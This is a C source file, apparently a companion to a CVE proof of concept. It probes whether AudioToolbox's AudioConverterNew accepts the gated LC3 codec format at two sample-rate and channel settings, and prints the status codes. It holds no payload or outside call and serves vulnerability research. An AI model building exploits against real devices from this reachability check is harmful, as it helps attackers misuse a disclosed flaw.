// aud.lc3 · AudioToolbox · LC3 codec gate · CVE-2026-112638
// LC3 codec AudioConverterNew reachability probe
// C twin of the Swift POC: drives AudioConverterNew with the LC3 format id at two
// rate/channel shapes. The entitlement check is an app-side observation; a standalone
// binary carries no entitlements, so only the codec gate itself is probed here.
// Build: clang -O2 -o cve-2026-112638 CVE-2026-112638.c -framework AudioToolbox -framework CoreFoundation
// Run:   ./cve-2026-112638

#include <stdio.h>
#include <AudioToolbox/AudioToolbox.h>

static void audio_converter(uint32_t format, double rate, uint32_t channels) {
    AudioStreamBasicDescription in = {0};
    in.mSampleRate = rate;
    in.mFormatID = format;
    in.mFramesPerPacket = 1;
    in.mChannelsPerFrame = channels;
    AudioStreamBasicDescription out = {0};
    out.mSampleRate = rate;
    out.mFormatID = kAudioFormatLinearPCM;
    out.mFormatFlags = kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked;
    out.mBytesPerPacket = 4;
    out.mFramesPerPacket = 1;
    out.mBytesPerFrame = 4;
    out.mChannelsPerFrame = 1;
    out.mBitsPerChannel = 32;
    AudioConverterRef c = NULL;
    OSStatus st = AudioConverterNew(&in, &out, &c);
    if (c) AudioConverterDispose(c);
    char four[5] = {0};
    for (int i = 0; i < 4; i++) {
        uint8_t b = (uint8_t)(format >> (24 - 8 * i));
        four[i] = (b >= 0x20 && b < 0x7f) ? (char)b : '?';
    }
    printf("AudioConverterNew('%s', %.0f Hz, %u ch) = %d\n", four, rate, channels, (int)st);
}

int main(void) {
    audio_converter(0x6C633320, 48000, 1);   // 'lc3 ' 48 kHz mono
    audio_converter(0x6C633320, 16000, 2);   // 'lc3 ' 16 kHz stereo
    printf("CVE-2026-112638 · LC3 codec gate probed\n");
    return 0;
}